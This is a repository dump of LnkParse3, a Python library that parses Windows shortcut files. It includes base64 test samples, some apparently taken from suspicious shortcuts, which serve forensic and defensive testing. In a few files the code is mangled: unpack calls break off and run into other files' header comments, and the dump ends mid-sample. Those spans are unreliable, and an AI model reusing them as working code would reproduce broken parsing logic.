├── tests ├── __init__.py ├── json │ ├── shortcut_target_only.txt │ ├── shortcut_target_only.json │ ├── NetworkLocation.json │ ├── SerializedPropertyStorage.json │ ├── unknown_target.txt │ ├── unknown_target_not_terminal.json │ ├── unknown_target.json │ ├── unknown_block.txt │ ├── sample7.json │ ├── sample3.json │ ├── microsoft_example_not_all_attributes.json │ ├── unknown_block.json │ ├── sample5.json │ ├── microsoft_example.json │ ├── invalid_date2.json │ ├── darwin_block.json │ ├── broken_link_info.json │ ├── darwin_block_modified.json │ ├── padded_cli_arguments.json │ ├── readable_with_local_info.txt │ ├── sample16.json │ ├── decoding_error4.json │ ├── sample10.json │ ├── decoding_error2.json │ └── sample13.json ├── raw │ ├── SerializedPropertyStorage │ └── NetworkLocation └── samples │ ├── sample5 │ ├── microsoft_example │ ├── sample7 │ ├── broken_link_info │ ├── invalid_date3 │ ├── invalid_date2 │ ├── unknown_block │ ├── sample17 │ ├── sample16 │ ├── decoding_error4 │ ├── sample2 │ ├── sample10 │ ├── sample12 │ ├── sample11 │ ├── sample9 │ ├── sample4 │ ├── sample15 │ ├── sample8 │ ├── sample14 │ ├── invalid_date │ ├── decoding_error3 │ ├── sample13 │ ├── decoding_error2 │ ├── decoding_error │ ├── sample6 │ ├── sample │ ├── extra_data │ ├── console_properties_block │ ├── darwin_block │ ├── network_info │ ├── darwin_block_modified │ ├── sample3 │ └── padded_cli_arguments ├── LnkParse3 ├── extra │ ├── __init__.py │ ├── unknown.py │ ├── lnk_extra_base.py │ ├── code_page.py │ ├── shim_layer.py │ ├── special_folder.py │ ├── known_folder.py │ ├── terminal.py │ ├── icon.py │ ├── environment.py │ ├── shell_item.py │ ├── darwin.py │ └── distributed_tracker.py ├── info │ ├── __init__.py │ └── local.py ├── target │ ├── __init__.py │ ├── printers.py │ ├── users_files_folder.py │ ├── common_places_folder.py │ ├── unknown.py │ ├── internet.py │ ├── compressed_folder.py │ ├── control_panel.py │ ├── my_computer.py │ ├── lnk_target_base.py │ ├── root_folder.py │ ├── shell_fs_folder.py │ └── network_location.py ├── exceptions.py ├── __init__.py ├── decorators.py ├── info_factory.py ├── extra_factory.py ├── extra_data.py ├── text_processor.py ├── target_factory.py ├── lnk_targets.py └── string_data.py ├── doc ├── [MS-SHLLINK].pdf └── [MS-SHLLINK]_ Shortcut to a File.pdf ├── .gitignore ├── .bumpversion.cfg ├── setup.py ├── LICENSE ├── .github └── workflows │ ├── python-package.yml │ └── python-publish.yml ├── ruff.toml └── CHANGELOG.md /tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /LnkParse3/extra/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /LnkParse3/info/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /LnkParse3/target/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/json/shortcut_target_only.txt: -------------------------------------------------------------------------------- 1 | .\a.txt 2 | -------------------------------------------------------------------------------- /LnkParse3/exceptions.py: -------------------------------------------------------------------------------- 1 | class LnkParserError(Exception): ... 2 | -------------------------------------------------------------------------------- /tests/json/shortcut_target_only.json: -------------------------------------------------------------------------------- 1 | { 2 | "shortcut_target": ".\\a.txt" 3 | } 4 | -------------------------------------------------------------------------------- /doc/[MS-SHLLINK].pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Matmaus/LnkParse3/HEAD/doc/[MS-SHLLINK].pdf -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.egg-info/ 3 | htmlcov/ 4 | .coverage 5 | virtualenv/ 6 | venv/ 7 | -------------------------------------------------------------------------------- /LnkParse3/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["lnk_file"] 2 | 3 | from LnkParse3.lnk_file import LnkFile as lnk_file 4 | -------------------------------------------------------------------------------- /doc/[MS-SHLLINK]_ Shortcut to a File.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Matmaus/LnkParse3/HEAD/doc/[MS-SHLLINK]_ Shortcut to a File.pdf -------------------------------------------------------------------------------- /tests/raw/SerializedPropertyStorage: -------------------------------------------------------------------------------- 1 | UwAAADFTUFMF1c3VnC4bEJOXCAArLPmuNwAAAB4AAAAASQB0AGUAbQBzAFQAbwBSAGUAbQBvAHYAZQAvAAAAHwAAAAMAAABbAF0AAAAAAAAAAAAAAAAA -------------------------------------------------------------------------------- /tests/json/NetworkLocation.json: -------------------------------------------------------------------------------- 1 | { 2 | "class": "Network location", 3 | "comments": "", 4 | "flags": "Is share", 5 | "content_flags": 197, 6 | "description": "Microsoft Network", 7 | "location": "\\\\10.0.0.3\\Share" 8 | } -------------------------------------------------------------------------------- /.bumpversion.cfg: -------------------------------------------------------------------------------- 1 | [bumpversion] 2 | current_version = 1.5.3 3 | commit = True 4 | tag = True 5 | message = Bump version: {current_version} -> {new_version} 6 | 7 | [bumpversion:file:setup.py] 8 | 9 | [bumpversion:file:LnkParse3/lnk_file.py] 10 | -------------------------------------------------------------------------------- /LnkParse3/target/printers.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | class Printers(LnkTargetBase): 5 | # TODO Not implemented 6 | def __init__(self, *args, **kwargs): 7 | self.name = "Printers" 8 | return super().__init__(*args, **kwargs) 9 | 10 | def as_item(self): 11 | item = super().as_item() 12 | return item 13 | -------------------------------------------------------------------------------- /LnkParse3/target/users_files_folder.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | class UsersFilesFolder(LnkTargetBase): 5 | # TODO Not implemented 6 | def __init__(self, *args, **kwargs): 7 | self.name = "Users files folder" 8 | return super().__init__(*args, **kwargs) 9 | 10 | def as_item(self): 11 | item = super().as_item() 12 | return item 13 | -------------------------------------------------------------------------------- /LnkParse3/target/common_places_folder.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | class CommonPlacesFolder(LnkTargetBase): 5 | # TODO Not implemented 6 | def __init__(self, *args, **kwargs): 7 | self.name = "Common places folder" 8 | return super().__init__(*args, **kwargs) 9 | 10 | def as_item(self): 11 | item = super().as_item() 12 | return item 13 | -------------------------------------------------------------------------------- /tests/raw/NetworkLocation: -------------------------------------------------------------------------------- 1 | KwDDAcVcXDEwLjAuMC4zXFNoYXJlAE1pY3Jvc29mdCBOZXR3b3JrAAACAEoAMQAAAAAAWVVsdhAAb3JjADgACQAEAO++L1PHQVlVbHYuAAAASxkBAAAAHwAAAAAAAAAAAAAAAAAAAHvwtgBvAHIAYwAAABIAbAAxAAAAAABZVRpMEABURVNUXzF+MS40LTAAAFAACQAEAO++WVUVTFlVGkwuAAAAV54EAAAABQAAAAAAAAAAAAAAAAAAALDmnwB0AGUAcwB0AF8AMQAwAC4AMQAuADQALQAwADAAMAAAABwAVAAxAAAABQBZVUZvEABvdXRwdXQAAD4ACQAEAO++WVUVTFlVRm8uAAAAWJ4EAAAABQAAAAAAAAAAAAAAAAAAAMPPrwBvAHUAdABwAHUAdAAAABYAAAA= -------------------------------------------------------------------------------- /tests/json/SerializedPropertyStorage.json: -------------------------------------------------------------------------------- 1 | { 2 | "format_id": "D5CDD505-2E9C-101B-9397-08002B2CF9AE", 3 | "serialized_property_values": [ 4 | { 5 | "name": "ItemsToRemove/", 6 | "name_size": 30, 7 | "value": "[]", 8 | "value_size": 55, 9 | "value_type": "VT_LPWSTR" 10 | } 11 | ], 12 | "storage_size": 83, 13 | "version": "0x53505331" 14 | } 15 | -------------------------------------------------------------------------------- /LnkParse3/target/unknown.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | class Unknown(LnkTargetBase): 5 | # TODO Not implemented 6 | def __init__(self, *args, **kwargs): 7 | self.name = "Unknown" 8 | return super().__init__(*args, **kwargs) 9 | 10 | def as_item(self): 11 | item = super().as_item() 12 | item["size"] = self.SIZE_OF_TARGET_SIZE + self.size() 13 | return item 14 | -------------------------------------------------------------------------------- /LnkParse3/target/internet.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#37-uri-shell-item 5 | # TODO: rename to uri 6 | class Internet(LnkTargetBase): 7 | # TODO Not implemented 8 | def __init__(self, *args, **kwargs): 9 | self.name = "Internet" 10 | return super().__init__(*args, **kwargs) 11 | 12 | def as_item(self): 13 | item = super().as_item() 14 | return item 15 | -------------------------------------------------------------------------------- /LnkParse3/target/compressed_folder.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.target.lnk_target_base import LnkTargetBase 2 | 3 | 4 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#36-compressed-folder-shell-item 5 | class CompressedFolder(LnkTargetBase): 6 | # TODO Not implemented 7 | def __init__(self, *args, **kwargs): 8 | self.name = "Compressed folder" 9 | return super().__init__(*args, **kwargs) 10 | 11 | def as_item(self): 12 | item = super().as_item() 13 | return item 14 | -------------------------------------------------------------------------------- /tests/samples/sample5: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEbjAAAABwAAAOCio4Cw19MBAGgU123h0wEABfcIuNDPAQBgAgCcAAAAAQAAAAAAAAAAAAAAAAAAAMMAFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9FOlwAAAAAAAAAAAAAAAAAAAAAAAAAQgA1AAAAAAClSOxFFgCgAAAAMAAIAAQA776lSOxFoUwAiCoAAACgyTsAAAAAAAAAAAAAAAAAAAAAAAAAoAAAABIAUgA2AABgAgAvRc08BwCgAC4AZQB4AGUAAAA4AAgABADvvpNMADyhTACIKgAAAOCCYgAAAAAAAAAAAAAAAAAAAAAAAACgAC4AZQB4AGUAAAAaAAAAOQAAABwAAAABAAAAHAAAAC0AAAAAAAAAOAAAABEAAAACAAAAKNetFhAAAAAARTpcoFygLmV4ZQAAAgAvAGIAIQAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAHMAaABlAGwAbAAzADIALgBkAGwAbAAoAAAACQAAoBwAAAAxU1BT4opYRrxMOEO7/BOTJphtzgAAAAAAAAAAAAAAAA== 2 | -------------------------------------------------------------------------------- /tests/samples/microsoft_example: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEabAAgAIAAAANDp7vIVFckB0Onu8hUVyQHQ6e7yFRXJAQAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAL0AFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAARgAxAAAAAAAsOWmjEAB0ZXN0AAAyAAcABADvviw5ZaMsOWmjJgAAAAMeAAAAAPUeAAAAAAAAAAAAAHQAZQBzAHQAAAAUAEgAMgAAAAAALDlpoyAAYS50eHQANAAHAAQA774sOWmjLDlpoyYAAAAtbgAAAACWAQAAAAAAAAAAAABhAC4AdAB4AHQAAAAUAAAAPAAAABwAAAABAAAAHAAAAC0AAAAAAAAAOwAAABEAAAADAAAAgYp6MBAAAAAAQzpcdGVzdFxhLnR4dAAABwAuAFwAYQAuAHQAeAB0AAcAQwA6AFwAdABlAHMAdABgAAAAAwAAoFgAAAAAAAAAY2hyaXMteHBzAAAAAAAAAEB4x5RH+sdGs1ZcLca20RXsRs17In/dEZSZABNyFodKQHjHlEf6x0azVlwtxrbRFexGzXsif90RlJkAE3IWh0oAAAAA 2 | -------------------------------------------------------------------------------- /LnkParse3/extra/unknown.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 4 | 5 | 6 | """ 7 | This class does not represent a specific extra block defined in the [MS-SHLLINK] documentation. 8 | It aims to cover cases where malicious shortcut files tries to hide their payload in an 9 | undocumented block that still uses the right format and a valid length. 10 | """ 11 | 12 | 13 | class Unknown(LnkExtraBase): 14 | def name(self): 15 | return "UNKNOWN_BLOCK" 16 | 17 | def extra_data(self): 18 | start = 4 19 | return self._raw[start:] 20 | 21 | def as_dict(self): 22 | tmp = super().as_dict() 23 | tmp["extra_data_sha256"] = hashlib.sha256(self.extra_data()).hexdigest() 24 | return tmp 25 | -------------------------------------------------------------------------------- /tests/samples/sample7: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEEBFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAXgAxAAAAAAAAAAAAEABQcm9ncmFtRGF0YQBEAAgABADvvgAAAAAAAAAAKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAAAAaAFIANQAAAAAAAAAAABAAVgAaBF8ARABKAAAAOAAIAAQA774AAAAAAAAAACoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVgAaBF8ARABKAAAAGgBiADYAAAAAAAAAAAAAAFYAGgRfAEQASgAuAGUAeABlAAAAQAAIAAQA774AAAAAAAAAACoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVgAaBF8ARABKAC4AZQB4AGUAAAAiAAAAMAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABWABoEXwBEAEoAXABWABoEXwBEAEoALgBlAHgAZQAUAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFYAGgRfAEQASgAoAAAACQAAoBwAAAAxU1BT4opYRrxMOEO7/BOTJphtzgAAAAAAAAAAAAAAAA== 2 | -------------------------------------------------------------------------------- /LnkParse3/target/control_panel.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.decorators import uuid 2 | from LnkParse3.target.lnk_target_base import LnkTargetBase 3 | 4 | 5 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#38-control-panel-shell-item 6 | class ControlPanel(LnkTargetBase): 7 | # TODO Not implemented 8 | def __init__(self, *args, **kwargs): 9 | self.name = "Control panel" 10 | return super().__init__(*args, **kwargs) 11 | 12 | @uuid 13 | def control_panel_item_identifier(self): 14 | start, end = 14, 30 15 | return self._raw_target[start:end] 16 | 17 | def as_item(self): 18 | item = super().as_item() 19 | item["item_identifier"] = self.control_panel_item_identifier() 20 | return item 21 | -------------------------------------------------------------------------------- /LnkParse3/extra/lnk_extra_base.py: -------------------------------------------------------------------------------- 1 | from struct import unpack 2 | 3 | from LnkParse3.text_processor import TextProcessor 4 | 5 | 6 | """ 7 | ------------------------------------------------------------------ 8 | | 0-7b | 8-15b | 16-23b | 24-31b | 9 | ------------------------------------------------------------------ 10 | | BlockSize == 0x00000314 | 11 | ------------------------------------------------------------------ 12 | """ 13 | 14 | 15 | class LnkExtraBase: 16 | def __init__(self, indata=None, cp=None): 17 | self._raw = indata 18 | self.cp = cp 19 | self.text_processor = TextProcessor(cp=cp) 20 | 21 | def size(self): 22 | start, end = 0, 4 23 | size = unpack(" BlockSize == 0x0000000C | 11 | ------------------------------------------------------------------ 12 | | BlockSignature == 0xA0000004 | 13 | ------------------------------------------------------------------ 14 | | CodePage | 15 | ------------------------------------------------------------------ 16 | """ 17 | 18 | 19 | class CodePage(LnkExtraBase): 20 | def name(self): 21 | return "CONSOLE_CODEPAGE_BLOCK" 22 | 23 | def code_page(self): 24 | start, end = 8, 12 25 | return unpack(" BlockSize >= 0x00000088 | 9 | ------------------------------------------------------------------ 10 | | BlockSignature == 0xA0000008 | 11 | ------------------------------------------------------------------ 12 | | LayerName | 13 | | ? B | 14 | ------------------------------------------------------------------ 15 | """ 16 | 17 | 18 | class ShimLayer(LnkExtraBase): 19 | def name(self): 20 | return "SHIM_LAYER_BLOCK" 21 | 22 | def layer_name(self): 23 | start = 8 24 | binary = self._raw[start:] 25 | text = self.text_processor.read_string(binary) 26 | return text 27 | 28 | def as_dict(self): 29 | tmp = super().as_dict() 30 | tmp["layer_name"] = self.layer_name() 31 | return tmp 32 | -------------------------------------------------------------------------------- /tests/samples/sample17: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaLAAgAEQAAAKzV/DCb8c8BP2FLRRb81gHSVu+dYjPXAQAABQAAAAAAAQAAAAAAAAAAAAAAAAAAAFAAFAAfUOBP0CDqOmkQotgIACswMJ06AC6AkOJNNz8SZUWRZDnEkl5GeyYAAQAmAO++EQAAAKzV/DCb8c8B0lbvnWIz1wE/YUtFFvzWARQAAABvAAAAHAAAAAMAAAAcAAAALwAAADwAAABdAAAAEwAAAAMAAADaob2SEAAAAE9TAEM6XFVzZXJzXAAAAAAhAAAAAgAAABQAAAAAAAAAAAACAFxcQVNVU1xVc2VycwBBc3VzLVBDXERvd25sb2FkcwAMAC4ALgBcAEQAbwB3AG4AbABvAGEAZABzABAAAAAFAACg/////04AAAAcAAAACwAAoJDiTTc/EmVFkWQ5xJJeRntOAAAAYAAAAAMAAKBYAAAAAAAAAGFzdXMAAAAAAAAAAAAAAADkleWEuOXwQoAkAUHZCVrROnb7QI5d5BGCYlQnHqNOdOSV5YS45fBCgCQBQdkJWtE6dvtAjl3kEYJiVCceo050IAIAAAkAAKBVAAAAMVNQU+0wvdpDAIlHp/jQE6RzZiI5AAAAZAAAAAAfAAAAEwAAAEEAcwB1AHMALQBQAEMAIAAoAEMAOgBcAFUAcwBlAHIAcwApAAAAAAAAAAAAiQAAADFTUFPiilhGvEw4Q7v8E5MmmG3ObQAAAAQAAAAAHwAAAC4AAABTAC0AMQAtADUALQAyADEALQAxADEAMQAyADQAMwAyADAAMwA2AC0AMQAyADEAMQA3ADkAOQAxADkAMgAtADMANwA2ADEAMQA4ADcANQAwAC0AMQAwADAAMQAAAAAAAACYAAAAMVNQUzDxJbfvRxoQpfECYIye66wlAAAACgAAAAAfAAAACgAAAEQAbwB3AG4AbABvAGEAZABzAAAAFQAAAA8AAAAAQAAAAACyHDKb8c8BLQAAAAQAAAAAHwAAAA4AAABTAHkAcwB0AGUAbQAgAEYAbwBsAGQAZQByAAAAFQAAAA4AAAAAQAAAANJW751iM9cBAAAAAGUAAAAxU1BTpmpjKD2V0hG11gDAT9kY0EkAAAAeAAAAAB8AAAAbAAAAQwA6AFwAVQBzAGUAcgBzAFwAQQBzAHUAcwAtAFAAQwBcAEQAbwB3AG4AbABvAGEAZABzAAAAAAAAAAAAOQAAADFTUFOxFm1ErY1wSKdIQC6kPXiMHQAAAGgAAAAASAAAAFojCOqZIzpFs+7xZB4h5OIAAAAAAAAAAAAAAAA= 2 | -------------------------------------------------------------------------------- /tests/samples/sample16: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaDACAAEQAAAIL7AzGb8c8BBAgunFI41wEECC6cUjjXAQAABQAAAAAAAQAAAAAAAAAAAAAAAAAAAFwCOgAfREcaA1lyP6dEicVVlf5rMO4mAAEAJgDvvhAAAADEvDqP3efVASzwoaQMM9cB1p08wQwz1wEUAIIAdAAcAENGU0YWADEAAAAAAFRQ1FgSAEFwcERhdGEAAAB0Gllelt/TSI1nFzO87ii6xc36359nVkGJR8XHa8C2f0AACQAEAO++VFCXWFRQ1FguAAAAR6UZAAAABQAAAAAAAAAAAAAAAAAAAGbzFwFBAHAAcABEAGEAdABhAAAAQgBWADEAAAAAAJZSeqUQAFJvYW1pbmcAQAAJAAQA775UUJdYllJ6pS4AAABIpRkAAAAFAAAAAAAAAAAAAAAAAAAAd/xiAFIAbwBhAG0AaQBuAGcAAAAWAFwAMQAAAAAAY1A9QBQATUlDUk9TfjEAAEQACQAEAO++VFCXWGNQk0AuAAAASaUZAAAABQAAAAAAAAAAAAAAAAAAANypEAFNAGkAYwByAG8AcwBvAGYAdAAAABgAVgAxAAAAAACXUtR4EABXaW5kb3dzAEAACQAEAO++VFCXWJdS1HguAAAASqUZAAAABQAAAAAAAAAAAAAAAAAAAJh1JgFXAGkAbgBkAG8AdwBzAAAAFgCWALEAAAAAAJdSgHgRAFJlY2VudAAAZgAJAAQA775bRaQgl1KAeC4AAADlDAAAAAADAAAAAAAAAAAAPAAAAAAAPVZSAFIAZQBjAGUAbgB0AAAAQABzAGgAZQBsAGwAMwAyAC4AZABsAGwALAAtADIAMQA3ADkANwAAABYAGgAAAAMA777PpTkMehrIQLp0iQDm31/NFgAAAI4AAAAcAAAAAwAAABwAAAAvAAAAPAAAAF0AAAATAAAAAwAAANqhvZIQAAAAT1MAQzpcVXNlcnNcAAAAACEAAAACAAAAFAAAAAAAAAAAAAIAXFxBU1VTXFVzZXJzAEFzdXMtUENcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFJlY2VudABgAAAAAwAAoFgAAAAAAAAAYXN1cwAAAAAAAAAAAAAAAOSV5YS45fBCgCQBQdkJWtFC4TViR4PqEYR3VKBQOf555JXlhLjl8EKAJAFB2Qla0ULhNWJHg+oRhHdUoFA5/nlFAAAACQAAoDkAAAAxU1BTsRZtRK2NcEinSEAupD14jB0AAABoAAAAAEgAAABaIwjqmSM6RbPu8WQeIeTiAAAAAAAAAAAAAAAA 2 | -------------------------------------------------------------------------------- /tests/samples/decoding_error4: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEafAAAAICAAABrJJXCH79YBGsklcIfv1gF0Kyhwh+/WAVBOJAAAAAAAAQAAAAAAAAAAAAAAAAAAAHYBFAAfREcaA1lyP6dEicVVlf5rMO5+AHQAHABDRlNGFgAxAAAAAADIUHpUEiBBcHBEYXRhAAAAdBpZXpbf00iNZxczvO4ousXN+t+fZ1ZBiUfFx2vAtn88AAgABADvvshQeVTIUHpUKgAAAPUBAAAAAAIAAAAAAAAAAAAAAAAAAABBAHAAcABEAGEAdABhAAAAQgBMADEAAAAAANpQVZQQIExvY2FsADgACAAEAO++yFB5VNpQVZQqAAAACAIAAAAAAgAAAAAAAAAAAAAAAAAAAEwAbwBjAGEAbAAAABQASgAxAAAAAAA0Uqy+ECBUZW1wAAA2AAgABADvvshQeVQ0Uqy+KgAAAAkCAAAAAAIAAAAAAAAAAAAAAAAAAABUAGUAbQBwAAAAFABMADIAUE4kADRSrL4gIE1aREVBMH4xAAA0AAgABADvvjRSrL40Uqy+KgAAAMuQAAAAABMAAAAAAAAAAAAAAAAAAABNAFoAkAAAABgAAAB2AAAAHAAAAAMAAAAcAAAALQAAADgAAABZAAAAEQAAAAMAAABxh7wwEAAAAABDOlxVc2Vyc1wAACEAAAACAAAAFAAAAAAAAAAAAAIAXFxXT1JLXFVzZXJzAGFkbWluXEFwcERhdGFcTG9jYWxcVGVtcFxNWpAAEQBTAHQAbwBuAGUALABJACAAaABhAHQAZQAgAHkAbwB1ACEAIAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXAAuAC4AXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATQBaAJAAIgBDADoAXABVAHMAZQByAHMAXABhAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcABwAAAALAACgfA/O8wFJzEqGSNXUSwTvjxQAAACVAAAACQAAoIkAAAAxU1BT4opYRrxMOEO7/BOTJphtzm0AAAAEAAAAAB8AAAAuAAAAUwAtADEALQA1AC0AMgAxAC0AMwA3ADEAMQA2ADgANgA4ADAAMQAtADYAOAA3ADEAMAA3ADUAOQA3AC0AMQAxADQAOQA1ADAAMwA3ADgAMwAtADEAMAAwADEAAAAAAAAAAAAAAGAAAAADAACgWAAAAAAAAAB3b3JrAAAAAAAAAAAAAAAAquKskjNUCkKagvAOJE3zzdYeXEl6W+sRpd9CAQqOABGq4qySM1QKQpqC8A4kTfPN1h5cSXpb6xGl30IBCo4AEQAAAAA= 2 | -------------------------------------------------------------------------------- /tests/samples/sample2: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaLAAgAEAAAACmf9OQkcNYBi3Rz+TNw1gGwbmP5M3DWAQAQAAAAAAAAAQAAAAAAAAAAAAAAAAAAAHQBOgAfREcaA1lyP6dEicVVlf5rMO4mAAEAJgDvvhAAAAAtcz57jhrWAS1v4dYkcNYBLW/h1iRw1gEUAIIAdAAcAENGU0YWADEAAAAAAAAAAAAQAEFwcERhdGEAAAB0Gllelt/TSI1nFzO87ii6xc36359nVkGJR8XHa8C2f0AACQAEAO++AAAAAAAAAAAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAHAAcABEAGEAdABhAAAAQgBWADEAAAAAAAAAAAAQAFJvYW1pbmcAQAAJAAQA774AAAAAAAAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIAbwBhAG0AaQBuAGcAAAAWAGAAMQAAAAAAAAAAABAALm1pbmVjcmFmdAAARgAJAAQA774AAAAAAAAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AbQBpAG4AZQBjAHIAYQBmAHQAAAAaAAAAXgAAABwAAAABAAAAHAAAADQAAAAAAAAAXQAAABgAAAADAAAAV1qkJhAAAABXaW5kb3dzAEM6XFVzZXJzXFRFTVBcQXBwRGF0YVxSb2FtaW5nXC5taW5lY3JhZnQAAAUALgAuAFwALgAuAGAAAAADAACgWAAAAAAAAABkZXNrdG9wLTFkaWM1dHAA1iZRXqd9MEik7TVRmR0tXDPqbPkX3OoRgbmEqT6H6uXWJlFep30wSKTtNVGZHS1cM+ps+Rfc6hGBuYSpPofq5aEBAAAJAACgbQAAADFTUFPtML3aQwCJR6f40BOkc2YiUQAAAGQAAAAAHwAAACAAAABSAG8AYQBtAGkAbgBnACAAKABDADoAXABVAHMAZQByAHMAXABUAEUATQBQAFwAQQBwAHAARABhAHQAYQApAAAAAAAAAG4AAAAxU1BTMPElt+9HGhCl8QJgjJ7rrCkAAAAKAAAAAB8AAAALAAAALgBtAGkAbgBlAGMAcgBhAGYAdAAAAAAAKQAAAAQAAAAAHwAAAAwAAABGAGkAbABlACAAZgBvAGwAZABlAHIAAAAAAAAAgQAAADFTUFOmamMoPZXSEbXWAMBP2RjQZQAAAB4AAAAAHwAAACkAAABDADoAXABVAHMAZQByAHMAXABUAEUATQBQAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXAAuAG0AaQBuAGUAYwByAGEAZgB0AAAAAAAAAAAAOQAAADFTUFOxFm1ErY1wSKdIQC6kPXiMHQAAAGgAAAAASAAAAAecQuBOtTdLjV/EUUcAxk0AAAAAAAAAAAAAAAA= 2 | -------------------------------------------------------------------------------- /tests/samples/sample10: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEabAAAAIAAAAACQ0UXyatYBgDTurJB51gEAkNFF8mrWAQCECAAAAAAAAQAAAAAAAAAAAAAAAAAAAJ8BFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAlAAxAAAAAAAXUUeoEQBQUk9HUkF+MgAAfAAIAAQA777uOoUaF1FHqCoAAAD8AAAAAAABAAAAAAAAAAAAUgAAAAAAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQAAAEAAcwBoAGUAbABsADMAMgAuAGQAbABsACwALQAyADEAOAAxADcAAAAYAGgAMQAAAAAAF1FIqBAASERaQl9VfjEAAFAACAAEAO++F1FHqBdRSKgqAAAAC28BAAAAAgAAAAAAAAAAAAAAAAAAAEgARABaAEIAXwBVAFMAQgBLAEUAWQBfAE4ARQBXADEARwAAABgAdAAyAACECAAFUSI0IABIRFpCX1V+MS5FWEUAAFgACAAEAO++BVEiNBdRR6gqAAAADG8BAAAAAgAAAAAAAAAAAAAAAAAAAEgARABaAEIAXwBVAFMAQgBLAEUAWQBfAE4ARQBXADEARwAuAGUAeABlAAAAHAAAAHQAAAAcAAAAAQAAABwAAAA0AAAAAAAAAHMAAAAYAAAAAwAAABBeaKQQAAAAV2luZG93cwBDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEhEWkJfVVNCS0VZX05FVzFHXEhEWkJfVVNCS0VZX05FVzFHLmV4ZQAARAAuAC4AXAAuAC4AXAAuAC4AXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACAAKAB4ADgANgApAFwASABEAFoAQgBfAFUAUwBCAEsARQBZAF8ATgBFAFcAMQBHAFwASABEAFoAQgBfAFUAUwBCAEsARQBZAF8ATgBFAFcAMQBHAC4AZQB4AGUAJgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACAAKAB4ADgANgApAFwATQBvAHoAaQBsAGwAYQAgAEYAaQByAGUAZgBvAHgAEAAAAAUAAKAqAAAAwQAAABwAAAALAACg70BafPug/EuHSsDy4Ln6jsEAAACZAAAACQAAoI0AAAAxU1BT4opYRrxMOEO7/BOTJphtznEAAAAEAAAAAB8AAAAvAAAAUwAtADEALQA1AC0AMgAxAC0AMQA0ADMAMAA3ADAAMAA5ADkAMAAtADEANwAzADkAMQAzADgANgAwADAALQAyADYANQAzADkANAA3ADEAMAA0AC0AMQAxADAANAAAAAAAAAAAAAAAAABgAAAAAwAAoFgAAAAAAAAAb2ZmaWNlcGMwMQAAAAAAAJbIa95IbVlFiPP